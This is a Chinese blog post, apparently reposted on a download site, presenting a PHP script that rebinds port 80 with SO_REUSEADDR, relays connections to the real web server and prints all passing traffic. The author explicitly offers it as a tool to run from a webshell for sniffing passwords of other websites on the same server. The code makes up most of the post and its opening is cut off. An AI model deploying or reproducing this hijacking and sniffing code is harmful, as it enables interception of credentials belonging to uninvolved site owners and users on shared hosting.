当前位置: 首页
网络安全
PHP服务器数据嗅探劫持实现方法

PHP服务器数据嗅探劫持实现方法

时间:2026-08-03
转载

最近,社区邮件列表中有一篇外文文章,深入探讨了如何利用PHP实现数据劫持与端口转发。经过仔细分析,该思路确实可行,因此我抽空编写了一段代码进行验证。原文为PDF格式,可通过以下链接获取:http: www secforce co uk media presentations OWASP_Abusi

最近,社区邮件列表中有一篇外文文章,深入探讨了如何利用PHP实现数据劫持与端口转发。经过仔细分析,该思路确实可行,因此我抽空编写了一段代码进行验证。原文为PDF格式,可通过以下链接获取:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。实际上,这一原理早在业内就有过讨论——flashsky曾在xfocus上发布了通过SO_REUSEADDR实现端口重复绑定的方法,mix也写过关于guest权限下嗅探密码的实践。而本次采用PHP实现,优势在于可以直接在webshell环境中运行,当然,目前尚未在实际shell环境下进行测试。

需要特别说明的是,本文介绍的方法与之前那篇《PHP下实现端口复用/劫持》截然不同,感兴趣的读者可以参考以下链接:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。具体差异在此不再赘述。

代码中的注释已经非常详尽,因此不再逐行讲解。这里重点剖析技术难点:在Web环境下,PHP缺乏多线程和多进程支持,每个新连接都需要独立处理,显然不能采用顺序执行方式——仅accept操作就会导致阻塞,后续会话也无法并发处理。查阅PHP手册后发现,经典的socket_select函数能够有效解决这一问题,实现多路复用,从而同时处理多个客户端连接。

以下是完整的PHP代码,其中包含详细注释。由于是在博客中发布,代码可能因格式问题有所遗漏,但核心逻辑已完整呈现,敬请自行测试。其他支持暂不提供,请直接参考代码:

sockets = array();
		foreach($sockets as $socket)
		{
			$this->add($socket);
		}
	}
	function add($add_socket)
	{
		//array_push($this->sockets, $add_socket);
		$this->sockets[] = $add_socket;
	}
	// 利用临时数组来删除数组中的元素
	function remove($remove_socket)
	{
		$tmp_sockets = array();
		foreach($this->sockets as $socket)
		{
			if($remove_socket != $socket)
			{
				$tmp_sockets[] = $socket;
			}
		}
		$this->sockets = $tmp_sockets;
	}
	// 检查socket数组是否可读,传入超时时间,返回socket数组
	function can_read($timeout)
	{
		$read = $this->sockets;
		socket_select( $read, $write = NULL, $except = NULL, $timeout );
		return $read;
	}
	// 检查socket数组是否可写,传入超时时间,返回socket数组
	function can_write($timeout)
	{
		$write = $this->sockets;
		socket_select( $read = NULL, $write, $except = NULL, $timeout );
		return $write;
	}
}

// 网页不超时
set_time_limit(0);
// 即时输出数据,不缓冲
ob_end_clean();
ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) )
{
	exit;
}
if( $_GET["listen_ip"] == "" )
{
	exit;
}

$listen_ip = $_GET["listen_ip"];
$listen_port = 80;
// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 设置重复绑定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// 明确指定绑定IP地址,优先获取数据
socket_bind($listen_sock, $listen_ip, $listen_port);
// 开始监听
socket_listen ($listen_sock);
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."
"; // 创建socket数组,使用select来轮询 $check_socks = array($listen_sock); // 映射客户端socket和服务端socket // $socket_maps1将客户端socket作为key // $socket_maps2将服务端socket作为key // 以内存换速度,并且方便下面的搜索 $socket_maps1 = array( ); $socket_maps2 = array( ); // 实例化select类 $select = new select( $check_socks ); while(true) { /* print_r( $socket_maps ); print "
"; */ // select轮询,超时2秒 foreach ($select->can_read(1) as $socket) { // listen_sock可读,说明有人连接上来了 if( $socket == $listen_sock ) { // 接受新连接,并加入到轮训数组 $new_client = socket_accept($listen_sock); $select->add($new_client); socket_getpeername($new_client, $ip, $port); echo "New client connected: $ip, $port
"; // 建立到真实服务器的socket $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($server_sock,"127.0.0.1", $listen_port); // 建立真实服务器socket和真实客户端socket之间的映射关系 $socket_maps1[$new_client] = $server_sock; $socket_maps2[$server_sock] = $new_client; // 添加到select轮询中 $select->add($server_sock); // $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发 //select->remove( $listen_sock ); } // 其他socket可读,表示有数据需要中转 else { // 读取数据,失败则从轮询socket中删除,并关闭socket $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ); if ($client_data === false) { socket_close( $socket ); $select->remove( $socket ); echo "client disconnected.
"; continue; } // 如果socket在$socket_maps1的key中,说明是从客户端读到了数据 if( in_array( $socket, array_keys($socket_maps1)) ) { //echo "readed from client.
"; if( ! socket_write( $socket_maps1[$socket], $client_data ) ) { socket_close( $socket ); socket_close( $socket_maps1[$socket] ); $select->remove( $socket ); $select->remove( $socket_maps1[$socket] ); print "Write to server error.
"; } print htmlentities($client_data)."
"; } // 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据 elseif( in_array( $socket, array_keys($socket_maps2) ) ) { //echo "readed from server.
"; if( ! socket_write( $socket_maps2[$socket], $client_data ) ) { socket_close( $socket ); socket_close( $socket_maps2[$socket] ); $select->remove( $socket ); $select->remove( $socket_maps2[$socket] ); print "Write to client error.
"; } print htmlentities($client_data)."
"; } } } } ?>

此代码的具体用途可根据实际需求灵活发挥。例如,如果您拥有一个webshell,但希望获取同一台服务器上其他网站的密码,那么本方法将非常有用。本文代码已在Windows XP + Apache环境下测试通过,但根据相关资料,Windows 2003默认已禁止重复绑定端口,请在实际部署时注意环境差异。

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

时间:2026-08-31 11:56
如何有效预防和缓解DDoS攻击:5大核心策略详解

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

时间:2026-08-31 11:56
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

时间:2026-08-31 11:55
常见DDoS攻击类型详解:原理、特征与防御策略

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

时间:2026-08-31 11:55
如何有效抵御DDOS攻击:4种核心防护方案解析

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。

时间:2026-08-31 11:54
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全